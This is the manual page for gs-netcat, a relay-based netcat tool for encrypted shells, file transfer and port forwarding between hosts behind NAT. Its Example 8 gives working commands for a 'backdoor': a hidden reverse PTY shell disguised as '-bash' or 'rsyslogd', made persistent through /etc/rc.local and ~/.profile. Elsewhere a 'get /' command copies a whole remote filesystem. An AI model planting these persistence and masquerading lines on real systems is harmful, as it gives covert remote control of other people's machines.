gs-netcat —
transfer data, forward traffic and execute
commands on a remote host. Securely.
gs-netcat |
[-rlgvqwCTSDiu]
[-s
secret]
[-k
keyfile]
[-L
logfile]
[-d
IP]
[-p
port]
[-e
cmd] |
The
gs-netcat utility is a re-implementation of
netcat. It allows two or more users to establish a secure TCP connection with
each other in a scenario where all users are behind NAT/Firewall and would not
be able to connect to each other directly. Typically a connection between one
workstation and another workstation on a different Local Area Network.
It uses the Global Socket Relay Network (GSRN) instead of direct TCP
connections. Neither workstation needs to open a port in their firewall or
accept incoming TCP connections.
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a
4096 Prime. The GSRN sees only the encrypted traffic.
Common uses include:
- simple TCP proxies
- PTY shell
- File transfer
- a SOCKS ProxyCommand for
ssh(1)
- and much, much more.
- -C
- Disable encryption and use clear-text instead. Use with
caution.
-
-d
ip
- Destination IPv4 address for port forwarding.
- -D
- Daemon & Watchdog mode. Start
gs-netcat as a background process and restart
if killed.
-
-e
cmd
- Execute command and send output to the connected client.
Needs -l.
- -g
- Generate a secure random password and output it to standard
output.
- -i
- Interactive login shell. The server spawns a true PTY login
shell. The client acts as a true PTY client (with Ctrl-C etc working). The
client can terminate the session by typing 'Ctrl-e q' at any time or by
typing 'exit'. The server supports multiple clients at the same time.
-
-k
file
- A file containing the password.
- -l
- Server/Listening mode. The default mode is client.
-
-L
file
- Log file [default: standard out]
-
-p
port
- Port to listen on or to forward traffic to [1-65535].
- -q
- Quiet mode. Do not output any warnings or errors.
- -r
- Receive-only. Do not send any data. Terminate when no more
data is available for reading.
-
-s
secret
- A password chosen by the user. Both users need to use the
same password to connect.
- -S
- Act as a SOCKS4/4a/5 server. The server acts as a
SOCKS4/4a/5 proxy. It allows multiple
gs-netcat clients to (securely) relay traffic
via the server. Needs -l.
- -T
- Use TOR. The gs-netcat tool
will connect via TOR to the GSRN. This requires TOR to be installed and
running. The IP and PORT of the TOR server can be set using environment
variables.
- -t
- Connect to the GSRN (only) and check if the peer is
listening. Do not connect the peer.
- -u
- Use UDP instead of TCP for port forwarding. Needs -p.
- -v
- Prints status messages. Use -vv to be more verbose and -vvv
to be insanely verbose.
- -w
- Client to wait for the listening server to become
available.
The interactive login shell (
-i ) has a
command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command
console. The command console displays the following information:
- Latency (in milliseconds) to the remote host
- Warning when a user logs into the system or becomes
active
- Data throughput
- File transfer logs
Type 'help' for a list of available commands.
File transfer is available from the command console. Files are transferred with
the permission and modification timestamp unchanged. Partially transferred
files are re-started where the transfer was left off. The 'put' command is
used for uploading:
put foobar.txt
put $HOME/foobar.txt
put /tmp/*.log
put $(find. -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion) It is
possible to limit the amount of path information that is sent as implied
directories for each path you specify. You can insert a dot and a slash into
the source path, like this:
put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine. The 'get' command is
used for downloading:
get foobar.txt
get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories
within that directory (recursively):
get /var/log
get /
The first command transfers all directories and files in /var/log/*. The latter
command transfers the entire filesystem. Multiple get/put commands can be
scheduled at the same time.
Example 1 - Listen for a new connection using the
password 'MySecret':
$ gs-netcat -s MySecret -l
Connect with client using the same password:
$ gs-netcat -s MySecret
Example 2 - spawn a PTY login shell when a client
connects:
$ gs-netcat -s MySecret -l -i
Log in to server's interactive shell:
$ gs-netcat -s MySecret -i
Log in via TOR:
$ gs-netcat -s MySecret -i -T
Log in via a Socks5 Proxy:
$ export
GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=1080
$ gs-netcat -s MySecret -i -T
Example 3 - Execute a command when a client
connects:
$ gs-netcat -s MySecret -l -e 'echo hello
world; id; exit'
Connect client to the server:
$ gs-netcat -s MySecret
Example 4 - Pipe data from client to server:
$ gs-netcat -s MySecret -l -r
>warez.tar.gz
Client to read 'warez.tar.gz' and pipe it to the server.
$ gs-netcat -s MySecret
<warez.tar.gz
Example 5 - Server to act as a SOCKS4/4a/5 server:
$ gs-netcat -s MySecret -l -S
Client to listen on TCP port 1080 and forward any new connection to the server's
SOCKS server:
$ gs-netcat -s MySecret -p 1080
Example 6 - TCP Port Forward all connections to
192.168.6.7:22. Server:
$ gs-netcat -s MySecret -l -d 192.168.6.7 -p
22
Client to listen on TCP port 2222 and forward any new connection to the the
server. The server then forwards the connection to 192.168.6.7:22.
$ gs-netcat -s MySecret -p 2222
The same using 1 command:
$ ssh -o ProxyCommand='gs-netcat -s MySecret'
root@ignored
Example 7 - Creating an SFTP server using
gs-netcat:
$ gs-netcat -s MySecret -l -e
/usr/lib/sftp-server
The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary
also speaks sftp-protocol to stdin/stdout. The tool can be used to connect
both via GSRN (encrypted) and access the SFTP server running on the server's
side from the client via the GSRN (encrypted).:
$ export GSOCKET_ARGS='-s
MySecret'
$ sftp -D gs-netcat
Example 8 - Encrypted Reverse PTY shell hidden as
'-bash' in the process list - also known as 'backdoor':
$ (GSOCKET_ARGS="-s MySecret -liqD"
exec -a -bash gs-netcat)
The following line in /etc/rc.local starts the backdoor after each system
reboot:
GSOCKET_ARGS="-s MySecret -liqD"
HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash
-c "cd $HOME; exec -a rsyslogd
/usr/local/bin/gs-netcat"
The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:
GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1
-p22" /bin/bash -c "exec -a rsyslogd
/usr/local/bin/gs-netcat"
The following line in the user's ~/.profile starts the backdoor (once) when the
user logs in. All in one line:
killall -0 gs-netcat 2>/dev/null ||
(GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash
/usr/local/bin/gs-netcat)
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the
gs-netcat process. The process is hidden (as -bash) from the process list.
Client to connect to the backdoor:
$ gs-netcat -s MySecret -i
The following environment variables can be set to control the behavior of
gs-netcat
GSOCKET_SOCKS_IP
Specify the IP address of the TOR server (or
any other SOCKS server). Use together with -T. Default is
127.0.0.1.
GSOCKET_SOCKS_PORT
The port number of the TOR server (or any other
SOCKS server). Use together with -T. Default is 9050.
GSOCKET_ARGS
A string containing additional command line
parameters. First the normal command line parameters are processed and then
the command line parameters from GSOCKET_ARGS.
Passing the password as command line parameter is not secure. Consider using the
-k option or GSOCKET_ARGS or enter the password when prompted:
$ gs-netcat -k <file>
$ export GSOCKET_ARGS="-s
MySecret"
$ gs-netcat
1. The security is end-2-end. This means from
User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data
to and from the users.
2. The session is 256 bit and ephemeral. It is
freshly generated for every session and generated randomly (and is not based
on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
3. The password can be 'weak' without weakening the
security of the session. A brute force attack against a weak password requires
a new TCP connection for every guess.
4. Do not use stupid passwords like 'password123'.
Malice might pick the same (stupid) password by chance and connect. If in
doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password
should at least be strong enough so that Malice can not guess it by chance
while Alice is waiting for Bob to connect.
5. If Alice shares the same password with Bob and
Charlie and either one of them connects then Alice can not tell if it is Bob
or Charlie who connected.
6. Assume Alice shares the same password with Bob
and Malice. When Alice stops listening for a connection then Malice could
start to listen for the connection instead. Bob (when opening a new
connection) can not tell if he is connecting to Alice or to Malice. Use -a
<token> if you worry about this. TL;DR: When sharing the same password
with a group larger than 2 then it is assumed that everyone in that group
plays nicely. Otherwise use SSH over the GS/TLS connection.
7. SRP has Perfect Forward Secrecy. This means that
past sessions can not be decrypted even if the password becomes known.
The latest version is available from
https://github.com/hackerschoice/gsocket/.
gsocket(1),
gs-sftp(1),
gs-mount(1),
blitz(1),
nc(1),
socat(1)
Efforts have been made to have
gs-netcat "do
the right thing" in all its various modes. If you believe that it is
doing the wrong thing under whatever circumstances, please notify me
(
[email protected]) and tell me how you think it should behave.